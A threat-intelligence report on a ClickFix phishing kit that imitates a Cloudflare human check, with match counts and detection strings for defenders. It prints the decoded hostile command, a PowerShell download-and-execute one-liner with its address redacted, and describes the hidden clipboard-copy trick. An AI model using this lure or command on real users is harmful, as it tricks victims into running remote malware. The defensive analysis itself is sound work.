EncodedGnaw ClickFix kit
EncodedGnaw is a Cloudflare-styled verification page that delays its clipboard copy, then gives the visitor Windows Run steps. We have matched it on 1 site since 30 August.
EncodedGnaw in numbers
Since 30 August, the first EncodedGnaw match in our records, counted on 12 November 2026. How we count.
| Sites with EncodedGnaw code | 1 |
|---|---|
| Sites with a match in the last 30 days | 0 |
| Latest match | 6 September |
A check that changes after the click
EncodedGnaw is a self-contained fake verification page. Its initial view is a narrow box with a checkbox labelled "Verify you are human", an inline Cloudflare logo and links to Cloudflare's privacy and terms pages. All of the lure's CSS and JavaScript sit in the same HTML response.
Clicking the box hides it and replaces it with a spinner and Verifying.... After two seconds, the box grows from 65 to 220 pixels high. Half a second later it reveals an "Additional Verification Required" panel and copies the command.
The command is hidden twice
The copied value is stored in a constant named clipboardCommand. The page keeps a textarea called clipboard-text off the left edge of the screen, fills it with that constant, selects it and calls document.execCommand('copy').
The command starts with powershell -Ec, followed by Base64. PowerShell's encoded-command argument reads that value as UTF-16LE. Decoding the captured value produces this form:
iwr "[address]" | iexiwr is PowerShell's Invoke-WebRequest alias. The pipe sends its response to iex, the Invoke-Expression alias.
The visible panel contains only the keystrokes: Win+R to open Run, Ctrl+V to paste and OK to continue. Before the visitor runs the command, the browser renders the lure from its single HTML response and makes no request to the address hidden in the Base64.
What we see
| Month | New sites |
|---|---|
| September | 0 |
| October | 0 |
| November so far | 0 |
We matched EncodedGnaw from 30 August through 6 September.
Checking a page
Search the raw HTML for combinations of:
clipboardCommandbeginning withpowershell -Eccheckbox-verify,clipboard-textandAdditional Verification Required- nested timeouts of 2000 and 500 milliseconds around the expanding instruction panel
checkVerificationandverificationStartedin apostMessagehandler- an inline Cloudflare logo beside a fake verification box
Decode the complete Base64 argument as UTF-16LE when inspecting a copy. Ordinary Base64-to-text tools that assume UTF-8 leave the command interspersed with null bytes.